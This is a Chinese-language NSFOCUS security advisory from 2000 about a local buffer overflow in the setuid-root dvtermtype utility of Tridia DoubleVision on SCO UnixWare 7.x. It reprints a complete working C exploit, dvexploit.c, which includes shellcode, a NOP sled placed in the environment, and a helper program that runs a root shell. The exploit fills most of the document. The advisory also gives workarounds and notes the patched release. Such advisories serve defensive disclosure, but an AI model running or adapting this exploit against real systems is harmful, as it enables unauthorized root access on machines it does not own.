首页 -> 安全研究

安全研究

安全漏洞
Tridia DoubleVision本地缓冲区溢出

发布日期:2000-09-20
更新日期:2000-09-20

受影响系统:

    Tridia DoubleVision 3.07.00
       - SCO Unixware 7.1.1
       - SCO Unixware 7.1
       - SCO Unixware 7.0.1
       - SCO Unixware 7.0
不受影响系统:

    Tridia DoubleVision 3.07.01
       - SCO Unixware 7.1.1
       - SCO Unixware 7.1
       - SCO Unixware 7.0.1
       - SCO Unixware 7.0
描述:

dvtermtype是SCO UnixWare 7.x下Tridia DoubleVision携带的一个工具,用于确定
登录用户正在使用的终端特性,其命令行如下:

$ dvtermtype termtype devicename

一个恶意用户构造超长termtype串将导致dvtermtype发生缓冲区溢出,进而获取root
权限。

Tridia的版本机制比较混乱,无法确认其他平台上的版本是否存在同样漏洞。

<* 来源:Stephen J. Friedl (steve@unixwiz.net) *>



测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

/*
* dvexploit.c
*
* written by : Stephen J. Friedl
*              Software Consultant
*              2000-06-24
*              steve@unixwiz.net
*
*      This program exploits the "Double Vision" system on SCO
*      Unixware 7.1.0 via a buffer overflow on the "dvtermtype"
*      program. Double Vision is like a "pcAnywhere for UNIX",
*      but quite a few programs in this distribution are setuid
*      root. The problem is that these programs were not written
*      with security in mind, and it's not clear that they even
*      need to be setuid root.
*
*      This particular program exploits "dvtermtype" by passing a
*      very long second parameter that overflows some internal
*      buffer. This buffer is filled with a predicted address
*      of the shellcode, and the shellcode itself is stored in
*      a very long environment variable. This approach makes
*      the shellcode much easier to find.
*
*      This shellcode was based directly on the great work of
*      Brock Tellier (btellier@usa.net), who seems to spend a lot
*      of time within with various SCO UNIX release. Thanks!
*
*      This shellcode runs /tmp/ui, which should be this simple
*      program:
*
*      $ cd /tmp
*      $ cat ui.c
*      int main() { setreuid(0,0); system("/bin/sh"); return 0; }
*      $ cc ui.c -o ui
*
*      Brock's original work compiled this automatically, but I
*      prefer to do it by hand. A better approach is to do the
*      setreuid() in the shellcode and call /bin/sh directly.
*      Maybe another day.
*
* BUILD/TEST ENVIRONMENT
* ----------------------
*
*      $ cc -v
*      UX:cc: INFO: Optimizing C Compilation System  (CCS) 3.2  03/03/99 (CA-unk_voyager5)
*
*      $ uname -a
*      UnixWare foo 5 7.1.0 i386 x86at SCO UNIX_SVR5
*
*      from /usr/lib/dv/README
*
*              DoubleVision for Character Terminals Release 3.0
*              Last Update:  December 7, 1999
*
* TUNING
* ------
*
*      The default parameters to this program work on the versions mentioned
*      above, but for variants some tuning might be required. There are three
*      parameters that guide this program's operation:
*
*      -a retaddr      set the "return" address to the given hex value,
*                      which is the address where we expect to find the
*                      exploit code in the environment. The environment
*                      is at a relatively fixed location just below
*                      0x80000000, so getting "close" is usually sufficient.
*                      Note that this address cannot have any zero bytes
*                      in it! We believe that the target code has enough
*                      padding NOP values to make it an easy target.
*
*      -r retlen       length of the overflowed "return address" buffer,
*                      which is filled in with the address provided above.
*                      Default = 2k, max = 5k.
*
*      -l n            slightly shift the alignment of the return address
*                      buffer by 1, 2 or 3 in case the buffer that's being
*                      overflowed.
*/

#include <stdlib.h>
#include <stdio.h>

/*-----------------------------------------------------------------------
* shellcode for SCO UnixWare
*
*      The shellcode in the binary was derived from assembler code
*      below, and we put the asm() code inside the function so we
*      can disassemble it and get the binary bytes easier. The code
*      all should match, but the real original data is the full
*      asm() code.
*/
#if 1

static const char scoshell[] =
        "\xeb\x19\x5e\x33\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11"
        "\x33\xc0\xb0\x3b\x8d\x7e\x07\x53\x57\x56\x56\xeb\x10\xe8"
        "\xe2\xff\xff\xff"
        "/tmp/ui"
        "\xaa\xaa\xaa\xaa"
        "\x9a\xaa\xaa\xaa\xaa\x07\xaa";

#else

extern char     scoshell[];

static void foo()
{

asm("#-------------------------------------------");
asm("scoshell:");
asm("           jmp     L1b");                  /* go to springboard    */
asm("   L2b:    popl    %esi");                 /* addr of /tmp/ui      */
asm("           xorl    %ebx,%ebx");            /* %ebx <-- 0           */
asm("           movl    %ebx,  7(%esi)");       /* mark end of string   */
asm("           movl    %ebx, 12(%esi)");       /* 0 to lcall addr      */
asm("           movb    %bl,  17(%esi)");       /* 0 to lcall sub addr  */
asm("           xorl    %eax,%eax");            /* %eax <-- 0           */
asm("           movb    $0x3b, %al");           /* 0x3b = "execve"      */
asm("           leal    7(%esi), %edi");        /* addr of NULL word    */
asm("           pushl   %ebx");                 /* zero                 */
asm("           pushl   %edi");                 /* addr of NULL word    */
asm("           pushl   %esi");                 /* addr of "/tmp/ui"    */
asm("           pushl   %esi");                 /* addr of "/tmp/ui"    */
asm("           jmp     L3b");                  /* do OS call           */
asm("   L1b:    call    L2b");
asm("           .ascii  \"/tmp/ui\"");          /* %esi                 */
asm("           .4byte  0xaaaaaaaa");           /* %esi[ 7]             */
asm("   L3b:    lcall   $0xaa07,$0xaaaaaaaa");  /* OS call              */
asm("           .byte   0x00");                 /* endmarker            */
asm("#-------------------------------------------");

}

#endif

#define NOP     0x90

static char     *env[10],       // environment strings
                *arg[10];       // argument vector

/*------------------------------------------------------------------------
* "Addr" is the predicted address where the shellcode starts in the
* environment buffer. This was determined empirically based on a test
* program that ran similarly, and it ought to be fairly consistent.
* This can be changed with the "-a" parameter.
*/
static long     addr = 0x7ffffc04;

static char     *exefile = "/usr/lib/dv/dvtermtype";

int main(int argc, char *argv[])
{
int     c;
int     i;
char    egg[1024];
int     egglen = sizeof egg - 1;
int     retlen = 2048;
char    retbuf[5000];
int     align = 0;
char    *p;

        setbuf(stdout, (char *)0 );

        while ( (c = getopt(argc, argv, "a:r:l:")) != EOF )
        {
                switch (c)
                {
                  case 'a':     addr = strtol(optarg, 0, 16); break;
                  case 'l':     align = atoi(optarg); break;
                  case 'r':     retlen = atoi(optarg); break;
                }
        }

        if ( optind < argc )
                exefile = argv[optind++];

        printf("UnixWare 7.x exploit for suid root Double Vision\n");
        printf("Stephen Friedl <steve@unixwiz.net>\n");
        printf("Using addr=0x%x   retlen=%d\n", addr, retlen);

        /*---------------------------------------------------------------
         * sanity check: the return buffer requested can't be too big,
         * and the address can't have any zero bytes in it.
         */
        if ( retlen > sizeof(retbuf) )
        {
                printf("ERROR: retlen can't be > %d\n", sizeof(retlen));
                exit(1);
        }

        p = (char *)&addr;

        if ( !p[0] || !p[1] || !p[2] || !p[3] )
        {
                printf("ERROR: ret address 0x%08lx has a zero byte!\n", addr);
                exit(1);
        }

        /*---------------------------------------------------------------
         * Now create the "return" buffer that is used to overflow the
         * return address. This buffer really has nothing in it other than
         * repeated copies of the phony return address, and one of them
         * will overwrite the real %EIP on the stack. Then when the called
         * function returns, it jumps to our code.
         *
         * It's possible that this requires alignment to get right, so
         * the "-l" param above can be used to adjust this from 0..3.
         * If we're aligning, be sure to fill in the early part of the
         * buffer with non-zero bytes ("XXXX");
         */
        strcpy(&retbuf, "XXXX");

        for (i = align; i < retlen - 4; i += 4)
        {
                memcpy(retbuf+i, &addr, 4);
        }
        retbuf[i] = 0;

        printf("strlen(retbuf) = %d\n", strlen( (char *)retbuf) );

        /*---------------------------------------------------------------
         * The "egg" is our little program that is stored in the environment
         * vector, and it's mostly filled with NOP values but with our little
         * root code at the end. Gives a wide "target" to hit: any of the
         * leading bytes hits a NOP and flows down to the real code.
         *
         * The overall buffer is
         *
         *      X=################xxxxxxxxxxxxxxxxxxxxx\0
         *
         * where # is a NOP instruction, and "X" is the exploit code. There
         * must be a terminating NUL byte so the environment processor does
         * the right thing also.
         */
        memset(egg, NOP, egglen);
        memcpy(egg, "EGG=", 4);

        // put our egg in the tail end of this buffer
        memcpy(egg + (egglen - strlen(scoshell)- 1), scoshell, strlen(scoshell));

        egg[egglen] = '\0';

        /* build up regular command line */

        arg[0] = exefile;
        arg[1] = "dvexploit";           /* easy to find this later */
        arg[2] = (char *)retbuf;
        arg[3] = 0;

        /*---------------------------------------------------------------
         * build up the environment that contains our shellcode. This
         * keeps it off the stack.
         */
        env[0] = egg;
        env[1] = 0;

        execve(arg[0], arg, env);
}


建议:

临时解决办法:

NSFOCUS推荐您在没有安装补丁或者升级程序之前,去掉dvtermtype的setuid-to-root位,但是在实际应用中可能行不通,比如远程telnet上来的用户可能需要这一属性。您只能手工指定终端类型:
# /usr/lib/dv/dvtermtype termtype devicename

厂商补丁:

DoubleVision (3.07.01)升级版修正了该漏洞。您可以在Tridia的网站上下载:
http://www.tridia.com


浏览次数:6066
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障